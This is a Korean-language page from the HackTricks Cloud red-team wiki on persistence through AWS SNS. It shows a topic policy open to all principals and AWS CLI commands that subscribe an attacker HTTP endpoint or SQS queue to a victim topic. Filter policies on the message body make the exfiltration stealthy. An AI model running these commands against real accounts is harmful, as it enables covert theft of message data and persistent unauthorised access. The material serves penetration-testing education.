AWS - SNS 영속성
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SNS
자세한 정보는 다음을 확인하세요:
영속성
SNS topic을 생성할 때 IAM policy로 누가 읽기 및 쓰기 권한이 있는지를 지정해야 합니다. 외부 계정, 역할의 ARN, 또는 **심지어 "*"**를 지정할 수 있습니다.
다음 정책은 AWS의 모든 사용자에게 **MySNS.fifo**라는 SNS topic에 대한 읽기 및 쓰기 권한을 부여합니다:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
구독자 생성
모든 토픽의 모든 메시지를 계속 유출하려면 공격자는 모든 토픽에 대한 구독자를 생성할 수 있습니다.
참고로 토픽이 FIFO 유형인 경우, 프로토콜로 SQS를 사용하는 구독자만 사용할 수 있습니다.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
은밀한, 선택적 exfiltration via FilterPolicy on MessageBody
주제에 대해 sns:Subscribe 및 sns:SetSubscriptionAttributes 권한을 가진 공격자는 JSON 본문이 매우 좁은 필터(예: {"secret":"true"})와 일치하는 경우에만 메시지를 전달하는 은밀한 SQS 구독을 생성할 수 있습니다. 이렇게 하면 전송량과 탐지 가능성을 줄이면서도 민감한 레코드를 exfiltrate할 수 있습니다.
잠재적 영향: 피해자 Topic에서 타깃된 SNS 메시지들만 은밀하고 저소음으로 exfiltration될 수 있음.
단계 (AWS CLI):
- 공격자 SQS 큐 정책이 피해자
TopicArn에서 오는sqs:SendMessage를 허용하는지 확인(Conditionaws:SourceArn가TopicArn과 동일한지). - 토픽에 대한 SQS 구독 생성:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- 필터가 메시지 본문에서 동작하도록 설정하고
secret=true만 매치하도록 설정:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- 선택적 은밀성: RawMessageDelivery를 활성화하면 수신자에게 원시 페이로드만 전달됩니다:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- 검증: 두 메시지를 게시하고 첫 번째 메시지만 공격자 큐로 배달되는지 확인하세요. 예시 페이로드:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- 정리: persistence 테스트를 위해 생성한 경우 공격자 SQS 큐의 구독을 해지하고 큐를 삭제하세요.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud